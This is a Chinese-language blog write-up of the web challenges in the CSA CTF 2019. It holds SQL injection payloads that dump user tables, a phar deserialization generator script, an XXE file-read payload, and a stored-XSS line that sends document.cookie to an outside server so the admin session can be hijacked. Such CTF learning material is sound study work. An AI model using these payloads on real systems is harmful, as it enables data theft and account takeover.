美文网首页
CSA CTF 2019 Web Write up

CSA CTF 2019 Web Write up

作者: Miracle778 | 来源:发表于2019-06-15 14:35 被阅读0次

title: CSA CTF 2019 Web Write up
date: 2019-05-04 20:55:18
tags:
- CTF
- CSA CTF
- web
categories:
- CTF
- CSA CTF 2019


在ctftime上面报了一个国外大学(UTSA)的CTF,虽然好像只有两个人维护,但是题目还是挺多的,题目比较简单,适合新手做做。我用了几个小时,把Web题全看了,然后做了能做出来的,其他题试了试,现在比赛结束了,趁着环境还在,赶紧记录下。


前言

Web题共6道,还是比较简单的。除去签到题外我搞出了三道,其中一道还是1血,2333。剩余三道有两道有思路,但是当时差一点点没弄出来。剩下一道就是完全下手不动。
这里放一张当时的截图


image

这个图是做出两道来后排26,后面又做出一道,排到了22,但是他这个是动态分数,题目越多人做出来分值就降。。以至于后面结束比赛后,降到了106(2333)


CSA Database 1 - Suspicious member

题目描述:

We have a suspicious user in our system. See if you can find him.
http://35.231.36.102:1776

本来之前做一些数据库的题目被搞自闭了,以至于现在看到数据库题目莫名害怕,但是这个比赛两道数据库的题都挺简单,虽然挺常规的,不过搞出来心情还是不错的。

题目进去是一个输ID查用户的页面


image

分别输入11'1"进行测试,发现输入11'返回正常查询结果

image

输入1"返回 0 Result,说明"影响了SQL查询语句。

image

然后我们进一步输入1" #测试,返回正常,由此判断此处存在SQL注入点

image

然后通过order by探测出有4个字段。再用1" and 1=2 union select 1,2,3,4#看看网页是否有回显,如下图示,发现1、2、3、4四个字段都可用来回显信息。

image
于是用union查询进行爆表爆列
爆表payload:
1" and 1=2 union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2,3,4#

得到表名:csa_officers
爆列payload:
1" and 1=2 union select (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='csa_officers'),2,3,4#
得到列名有:id,username,password,email,name

看题目描述说到有一个suspicious user,于是爆username
payload:1" and 1=2 union select (select group_concat(username) from csa_officers),2,3,4#

得到username列表:alix,blue,boon,can,core,eli,flag,herro,luca,missing,niko,thor,ware

看到flag了,于是再进一步查flag的信息
payload:1" and 1=2 union select (select concat(id,':',username,':',password,':',email) from csa_officers where username='flag'),2,3,4#
得到:13371773:flag::CSACTF{0i_0i_Wh0_1s_th1s_guys?}


CSA Database 2 - Darkest Secret

题目描述:

One of our officers is having a dark secret. Can you reveal it?
http://35.231.36.102:1777

题目点进去跟上一题差不多。


image

通过测试,发现也是用双引号闭合注入。
和上一题差不多的做法,到了爆列这一步,通过上题的爆列payload,得到它的所有列


image

到这里结合题目描述中的dark secret,这里应该是flag在darkeest_secret列处。
于是这里payload为
1" and 1=2 union select (select group_concat(darkest_secret) from csa_officers),2,3,4#

爆出flag


image

这里再说一下,本来我是用···select darkest_secret from csa_officers limit <n>,1···进行查的,然后发现啥东西也没查出来,还以为自己写错了语句,于是卡了一会,后面才想到,可能它放了几个空值,于是改用group_concat。


Huzzah

题目描述:

http://35.231.36.102:1775/
huzzh.php源码附件

<?php

echo("<html><head><link rel=\"stylesheet\" type=\"text/css\" href=\"./oldtown.css\"></head>");

class Magic {
    function __destruct() {
        $a = $this->data;

        if (strstr($a, ";") !== false or strstr($a, "&") !== false) {
            echo("<p>[-] That's bad, don't do that" . "</p><br>");
        } elseif (strcmp($a, "flag.txt") === 0) {
            echo("<p>[+] Attempting a magic trick!" . "</p><br>");
            include($a);
            //eval($this->data . ";");
        } else {
            echo("<p>[-] You gave bad input - " . $a . "</p><br>");
        }

        system("rm uploads/magic.phar");
    }
}

include('phar://uploads/magic.phar');

//echo(file_exists("phar://uploads/magic.phar"));
echo("<a id=\"huzzah\" href=\"index.html\">GO BACK --</a>");

?>

源码看了一下,发现有一个Magic类,里面还有一个析构函数,析构函数里还有一步读flag.txt的过程,于是猜测跟反序列化相关。除此之外还有phar://、include函数,源码先简单分析到这。
然后点进题目去,是一个文件上传页面

image

先分析一下这个文件上传页面,一个选择文件按钮,一个upload file提交按钮,另外upload file提交按钮下面那个蓝色的HUZZAH是一个跳转链接,指向/huzzah.php

分析完后,先上传一个文件1.php测试一下。

image
发现提示说文件名字不是magic.phar,文件上传失败。

这个magic.phar看着眼熟,于是搜索一波phar。
在先知找到一篇: Phar的一些利用姿势
里面写到,phar可以实现反序列化漏洞。

在不使用unserialize()函数的情况下触发PHP反序列化漏洞。漏洞触发是利用Phar:// 伪协议读取phar文件时,会反序列化meta-data储存的信息。

恍然大悟,于是利用php代码,生成phar文件进行反序列化,把Magic类里的$data赋为flag.txt。生成phar代码如下
脚本运行条件: php.ini中必须设置phar.readonly=Off,不然Phar文件就会无法生成。

<?php
class Magic {
    public $data = "flag.txt";
}

$phar = new Phar("magic.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");//设置stub
$o = new Magic();
$phar->setMetaData($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering(); //自动计算签名
?>

利用这个php脚本生成magic.phar,然后上传。得到flag


image

下面就是我没做出来的题了。

The Outer Space

题目描述:

Our new authentication portal was just launched. Is it secured?
http://35.231.36.102:1774/

题目进去如下图示


image

一进去是XML,很容易联想到XXE。于是构造XXE payload进行尝试。
几番测试下来,发现必须要有下面字段,页面才会有回显。

<creds>
    <user>username</user>
    <pass>password</pass>
</creds>
image

于是想到用xxe读源码,通过user或者pass标签回显。于是构造payload如下

<!DOCTYPE miracle [
<!ENTITY miracle SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<creds>
    <user>&miracle;</user>
    <pass>pass</pass>
</creds>

这里必须吐槽一下,我特么读的时候读的index.php,结果回显

image
当时还以为这题不是这样做,需要用到外部dtd,233mdzz,当时也没多想,赶着玩游戏,于是就没有深究下去了。

今天看了别人的wp后才发现,是读xxe.php,将xxe的源码base64解密后如下

<?php 
    /**
     * This funtion will take a pattern and a folder as the argument and go thru it(recursivly if needed)and return the list of 
     *               all files in that folder.
     * Link             : http://www.bin-co.com/php/scripts/filesystem/ls/
     * Arguments     :  $pattern - The pattern to look out for [OPTIONAL]
     *                    $folder - The path of the directory of which's directory list you want [OPTIONAL]
     *                    $recursivly - The funtion will traverse the folder tree recursivly if this is true. Defaults to false. [OPTIONAL]
     *                    $options - An array of values 'return_files' or 'return_folders' or both
     * Returns       : A flat list with the path of all the files(no folders) that matches the condition given.
     */
    function ls($pattern="*", $folder="", $recursivly=false, $options=array('return_files','return_folders')) {
        if($folder) {
            $current_folder = realpath('.');
            if(in_array('quiet', $options)) { // If quiet is on, we will suppress the 'no such folder' error
                if(!file_exists($folder)) return array();
            }
            
            if(!chdir($folder)) return array();
        }
        
        
        $get_files    = in_array('return_files', $options);
        $get_folders= in_array('return_folders', $options);
        $both = array();
        $folders = array();
        
        // Get the all files and folders in the given directory.
        if($get_files) $both = glob($pattern, GLOB_BRACE + GLOB_MARK);
        if($recursivly or $get_folders) $folders = glob("*", GLOB_ONLYDIR + GLOB_MARK);
        
        //If a pattern is specified, make sure even the folders match that pattern.
        $matching_folders = array();
        if($pattern !== '*') $matching_folders = glob($pattern, GLOB_ONLYDIR + GLOB_MARK);
        
        //Get just the files by removing the folders from the list of all files.
        $all = array_values(array_diff($both,$folders));
            
        if($recursivly or $get_folders) {
            foreach ($folders as $this_folder) {
                if($get_folders) {
                    //If a pattern is specified, make sure even the folders match that pattern.
                    if($pattern !== '*') {
                        if(in_array($this_folder, $matching_folders)) array_push($all, $this_folder);
                    }
                    else array_push($all, $this_folder);
                }
                
                if($recursivly) {
                    // Continue calling this function for all the folders
                    $deep_items = ls($pattern, $this_folder, $recursivly, $options); # :RECURSION:
                    foreach ($deep_items as $item) {
                        array_push($all, $this_folder . $item);
                    }
                }
            }
        }
        
        if($folder) chdir($current_folder);
        return $all;
    }

    libxml_disable_entity_loader (false); 
    $xmlfile = $_POST['body']; //file_get_contents('php://input'); 
    $dom = new DOMDocument(); 
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    $creds = simplexml_import_dom($dom); 
    $user = $creds->user; 
    $pass = $creds->pass; 
    echo "<html> <head> <link rel=\"stylesheet\" type=\"text/css\" href=\"./countrylane.css\"></head>";
    if ($user == "admin") {
        if ($pass == "0e1234") {
            echo "<p> The creds [ $user : $pass ] were correct! </p>";
            echo "<br>";
            print("<p> You won the directory listing! </p>");
            echo "<br>";
            $listing = ls("*");
            echo "<p>";
            print_r($listing);
            echo "</p>";
        } else {
            echo "Wrong password [ $user : $pass ]";
        }
    } else {
        echo "<p> Wrong creds [ $user : $pass ] </p>";
    }
?> 

从上面源码可以看到,user为admin、pass为0e1234,用下面xml提交后

<creds>
    <user>admin</user>
    <pass>0e1234</pass>
</creds>
image

由上图可知,服务器上的文件分布,有flag.txt,此外index是index.html不是index.php,当时真是傻逼

于是访问flag.txt,然后居然403,


image

感觉这个403没什么卵用呀。之前xxe payload可以读文件,把之前payload改改,读出flag.txt的base64


image

解码的flag:CSACTF{1_d0nt_kn0w_wh4t_t0_put_h3r3_lm40}

这里需要再说一下,这个输入框显示是都显示大写,其实还是区分大小写的,稍微有一个字符大小写搞错都出不来,那天可能是因为我那个字母打错了吧,不然我应该会index.php和index.html都试一下的呀。
小小总结一下,以后这种题,还是文本编辑器里写好,然后再提交吧,争取不犯低级错误。


CSA Portal

题目描述:

Are you a member of CSA yet? Sign up
here: http://35.231.36.102:1779/

链接进去后是一个登录、注册框。(看来有必要什么时候攻一下登录框类的题了。)。

image

注册登录后是一个留言框


image

当时自己做的时候,怀疑是XSS,但是因为XSS题目没做过什么,有点无从下手,居然以为是在上图中的Welcome <username>处xss。后面试了一会发现并没有什么卵用。然后放弃了(游戏害人呀)

后面看了write up,发现是在留言框里进行XSS。这应该算个存储型XSS。
说下具体过程吧。
首先打开Burp,抓包分析。发现,登录页面login.php、登录成功页面welcome.php都用到了同一个cookie。

image
image

这里就应该想到,通过XSS搞到admin的cookie,然后通过改cookie以管理员身份登录。
不过这里是个没有回显的XSS,于是就要用到自己的服务器了。

先在自己的vps上开启一个服务器,可以记录访问日志的那种,直接用Apache访问80端口也行。。我这里用的是之前做DDCTF一道题目里给的一个python服务器,刚好能返回访问记录,再加上我把我的安全组80端口关了,于是就懒得用Apache了。

直接开启python服务器,监听8123端口


image

然后回到我们正常注册的用户的留言界面,进行留言

image
留言内容为:
<script>location.href = "http://<your server ip>/?"+document.cookie</script>

这里留言界面说到,管理员一会儿会check them,他promise了。。。所以我们提交完后,回到脚本处等它访问。

过了一小段时间,果然出现了访问记录


image

于是把这个cookie复制下来,直接放进welcome.php里,得到flag


image

这里要再说一下,cookie是有时间限制的,好像几分钟就没了把。所以得到cookie后要赶快登陆获取flag。不然就会得到302错误。


Biscuits Shop

题目描述:

Get your biscuits today:
http://35.231.36.102:1773/

题目进去如下图


image

简单分析一下,有注册、登陆页面,还有三行提示信息,说flag只available for 管理员,请登录后开始你的shopping

当时我自己做的时候,想着是登录成管理员(抱歉,菜逼做题目少,么得思路),于是自己试了试万能密码不行,约束条件SQL注入不行,于是就理所当然的打游戏去了。。。

现在让我们参考一下别人的wp,看看正确解法是啥吧。
好吧,看了一圈下来,网上就找到两个这题的wp,一个日本的兄dui,直接用admin=去注册就出来了,另一个英语有口音的人放了个youtube视频还特么没有英语字幕,里面是用BurpSuite爆破一个32位没得规律的cookie,视频里面她也没放出整个爆破过程,就最后复制粘贴了一段正确的admin的cookie,再加上么得字幕,我也不知道她怎么做出来的。。。。

两个wp好像都没什么用。。于是只能自己瞎写一个了。

申明一下,下面纯属瞎扯。

我们打开注册页面,用一个正常的用户名注册,发现注册成功后会自动登录


image

然后下面用admin注册试试。当然是不可能正常注册的,用admin加空格尝试约束注入攻击也失败了。


image

于是没得什么法子,只能破罐破摔,再试一个admin' or 1=1#,结果发现出现一个不一样的结果。

image
如上图,他提示说user not found:admin' or 1,明明我们用的是admin' or 1=1#注册的,怎么就变成admin' or 1呢了。其实那天自己做的时候,试到了这一步,不过当时没怎么注意,只是以为admin' or 1=1#这条路走不通,然后玩游戏去了

结合那位日本小哥的wp来看,现在才发现,这里其实另有玄机,他这里直接出现了User not found,而且界面也是注册成功后登陆的界面,说明他通过了注册,尝试了登录,但是返回页面从数据库里找user的时候找不到admin' or 1,所以提示user not found。

这里可以猜测,它应该是用admin' or 1=1#注册且登录成功了,但是页面返回结果后台的sql查询语句(可能是):where username = xxx,被=影响了。
然后再结合输入的是admin' or 1=1#,界面回显结果是未找到useradmin' or 1=及后面的字符串消失了,于是可以想到用admin=xxxxxx进行注册登录,然后页面进行查询的时候会用admin做查询,返回admin的信息。

为了证实这个猜想,我们先用admin2进行注册。

image

然后再用admin2=miracle778注册,结果页面返回如下图,证明猜想

image

于是可以用admin=miracle778进行注册登录,绕过admin已存在的限制,然后登录成功后的index.php用到的查询语句把==后面的字符串都忽略了,从而查询admin的数据库信息并返回。

image
image

相关文章

  • CSA CTF 2019 Web Write up

    title: CSA CTF 2019 Web Write update: 2019-05-04 20:55:18...

  • Wpsec CTF Web部分Write Up

    CTF之浅谈Web 因水平有限,欢迎指导交流。 网站:ctf.onlykood.com 团队:WPSEC WEB部...

  • CTF write up

    更详细的三叶草sctf http://www.freebuf.com/articles/web/54176.htm...

  • isg ctf write up

    web1 右键看源码,得到一段js代码 xxe漏洞,添加xxe poc web2 命令注入 url编码查看flag...

  • ahuCTFwp

    我们学校的CTF平台终于搭起来了,膜一波包子大佬~~ 目前题目还不是很多,大部分是web,写个write up,希...

  • CTF_Web_WriteUp

    南邮CTF web write up, 题目是按分数从少到多顺序排列,后续有新的体会会更新 签到题 签到二 右键查...

  • Bugku Web Write up

    title: Bugku Web Write update: 2019-04-07 11:07:19tags:- ...

  • Burpsuite 新手指南

    前言:最近在做CTF题的时候,很多write-up都用到了burpsuite来进行fuzz测试,于是乎,作为一个小...

  • [CTF_web]exec/exec3.php

    CTF_web CTF_web 源码如下 : 分析 利用代码 :

  • BugkuCTF Web Write up(更新中)

    计算器 答案是25,但是在输入时只能输入一位,查看页面源码 看到输入框的属性最大长度被限制为“1”,将其改为2,并...

网友评论

      本文标题:CSA CTF 2019 Web Write up

      本文链接:https://www.haomeiwen.com/subject/cbjbfctx.html